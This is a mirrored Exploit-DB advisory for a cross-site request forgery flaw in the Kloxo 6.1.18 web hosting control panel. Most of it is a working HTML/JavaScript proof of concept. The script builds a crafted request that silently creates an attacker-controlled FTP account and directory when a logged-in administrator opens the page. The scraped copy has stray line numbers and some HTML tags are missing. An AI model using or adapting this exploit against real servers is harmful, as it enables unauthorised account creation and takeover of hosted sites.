Kloxo 6.1.18 Stable – Cross-Site Request Forgery - 体验盒子

作者： Necmettin COSKUN

日期： 2014-04-02

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/32665/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

# Exploit Title :Kloxo 6.1.18 Stable CSRF Vulnerability

# Vendor Homepage :http://lxcenter.org/software/kloxo

# Version :6.1.18

# Exploit Author :Necmettin COSKUN =>@babayarisi

# Blog :http://www.ncoskun.com http://www.grisapka.org

# Discovery date :03/12/2014

# CVE :N/A

Kloxo (formerly known as Lxadmin) is a free, opensource web hosting control panel for the Red Hat and CentOS Linux distributions.

================

CSRF Vulnerability

Vulnerability

================

Kloxo has lots of POST and GET based form applications some inputs escaped from specialchars but inputs dont have any csrf protection or secret key

So an remote attacker can manipulate this forms to add/delete mysql user,create/delete subdomains or add/delete ftp accounts.

Poc Exploit

================

<html>

<head><title>Kloxo demo</title></head>

function yurudi(){

///////////////////////////////////////////////////////////

//Kloxo 6.1.18 Stable CSRF Vulnerability //

//Author:Necmettin COSKUN => twitter.com/@babayarisi //

//Blog: http://www.ncoskun.com | http://www.grisapka.org //

///////////////////////////////////////////////////////////

//Remote host

var host="victim.com";

//New Ftp Username

var username="demouser";

//New Ftp Password

var pass="12345678";

//This creates new folder under admin dir. /admin/yourfolder

var dir="demodirectory";

//If necessary only modify http to https ;)

var urlson="http://"+host+":7778//display.php?frm_o_cname=ftpuser&frm_dttype&frm_ftpuser_c_nname="+username+"&frm_ftpuser_c_complete_name_f=--direct--&frm_ftpuser_c_password="+pass+"&frm_confirm_password="+pass+"&frm_ftpuser_c_directory="+dir+"&frm_ftpuser_c_ftp_disk_usage&frm_action=add";

document.getElementById('demoexploit').src=urlson;

}

</script>

</body>

</html>

Discovered by:

================

Necmettin COSKUN|GrisapkaGuvenlikGrubu|4ewa2getha!